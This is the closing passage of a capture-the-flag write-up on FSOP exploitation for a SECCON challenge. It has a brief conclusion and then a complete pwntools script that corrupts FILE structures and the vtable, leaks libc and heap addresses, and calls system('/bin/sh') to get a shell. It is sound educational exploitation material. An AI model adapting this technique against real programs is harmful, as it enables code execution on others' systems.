write_addr(_IO_buf_base, libc.sym.system) # function to call
write_addr(_IO_save_base, next(libc.search(b'/bin/sh'))) # arg to function
After that, we need to add a flush() call, and we can get a shell!
Conclusion
I enjoy these challenges, and I have wanted to write about FSOP for a long time, so I’m grateful that I have time to solve some of them. At the same time, writing them has been a great exercise to keep my mind occupied. I wish I had more time to write about them, but some personal issues kept me away.
Thanks to c4e for helping me review this post and for teaching me about the heap. Thanks also to my study-buddies s1kr10s, tothoxx, and Vicho, that always encourage me to write more.
If you habe any doubts or suggestion you can contact me on discord or telegram (@dplastico)
The final exploit code can be found below.
#!/usr/bin/python3
from pwn import *
#break in fflush if needed to inspect the file stream
gs = '''
continue
'''
elf = context.binary = ELF('./chall')
context.terminal = ['tmux', 'splitw', '-hp', '70']
libc = elf.libc
def start():
if args.GDB:
return gdb.debug('./chall', gdbscript=gs)
if args.REMOTE:
return remote('127.0.0.1', 5555)
else:
return process('./chall')
r = start()
#r.timeout = 1
def flush():
r.sendline(b"1")
#r.recvuntil(b">")
def trick(offset, value):
r.sendline(b"2")
# sleep(1)
r.sendlineafter(b"offset:", str(offset).encode())
r.sendlineafter(b"value:", str(value))
r.recvuntil(b">")
def write_addr(offset, addr):
addr = p64(addr)
for i in range(8):
trick(offset+i, addr[i])
#========= exploit here ===================
# Setting the offsets for the filestream
_flags =0x0
_IO_read_ptr = 8
_IO_read_end = 0x10
_IO_read_base = 0x18
_IO_write_base = 0x20
_IO_write_ptr = 0x28
_IO_write_end = 0x30
_IO_buf_base = 0x38
_IO_buf_end = 0x40
_IO_save_base = 0x48
_IO_backup_base = 0x50
_IO_save_end = 0x58
_markers = 0x60
_chain = 0x68
_fileno = 0x70
_mode=0xc0
_vtable = 0xd8
#executing _IO_file_doallocate to populate _IO_buf_base with a heap address
trick(_vtable, 0xa8)
flush()
#Some sleeps around the binary because the latency was too much, to exploit remote I have to use a vps to launch the binary.
sleep(1)
#restoring the vtable
trick(_vtable, 0xa0)
#making _IO_write_ptr > _IO_write_base
trick(_IO_write_ptr, 1)
flush()
sleep(1)
#leaking libc
trick(_fileno, 1)
trick(_IO_write_ptr, 0x78)
trick(_IO_write_base, 0x70)
trick(_IO_read_end, 0x70)
flush()
sleep(1)
#receiving the leak and calculating libc base address
leak = u64(r.recvuntil(b"Done.").split(b"Done.")[0][1:8].ljust(8,b"\x00"))
log.info(f"leak = {hex(leak)}")
libc.address = leak - 0x1e8f60
log.info(f"libc = {hex(libc.address)}")
#getting a heap leak
trick(_fileno, 1)
#calculating topchunf address in the main arena
topchunk = libc.address + 0x1ecbe0
log.info(f"top_chunk = {hex(topchunk)}")
write_addr(_IO_write_ptr, topchunk+8)
write_addr(_IO_write_base, topchunk)
write_addr(_IO_read_end, topchunk)
sleep(1)
flush()
#receiving the leak and calculating addresses
heap_leak = u64(r.recvuntil(b"Done.").split(b"Done.")[0][1:8].ljust(8, b"\x00"))
log.info(f"heap_leak = {(hex(heap_leak))}")
heap_base = heap_leak - 0x2480
log.info(f"Heap base = {hex(heap_base)}")
#shifting the vtable to point __sync to _IO_obstack_jumps
shift_obstack_jumps = libc.address + 0x1e9218
log.info(f"shift_obstack_jumps = {hex(shift_obstack_jumps)}")
write_addr(_vtable, shift_obstack_jumps)
#writing the obstack struct pointers
write_addr(0xe0, heap_base+0x2a0)
write_addr(_flags, heap_base+0x2a0)
#setting arguments for CALL_FREEFUN within _obstack_newchunk
log.info(f"system = {hex(libc.sym.system)}")
write_addr(_IO_backup_base, 0xdeadbeef)
write_addr(_IO_buf_base, libc.sym.system) # function to call
log.info(f"/bin/sh = {hex(next(libc.search(b'/bin/sh')))}")
write_addr(_IO_save_base, next(libc.search(b'/bin/sh'))) # arg of function
#drop a shell!
flush()
#========= interactive ====================
r.interactive()
#SECCON{r34d_4nd_wr173_4nywh3r3_w17h_f1l3_57ruc7ur3}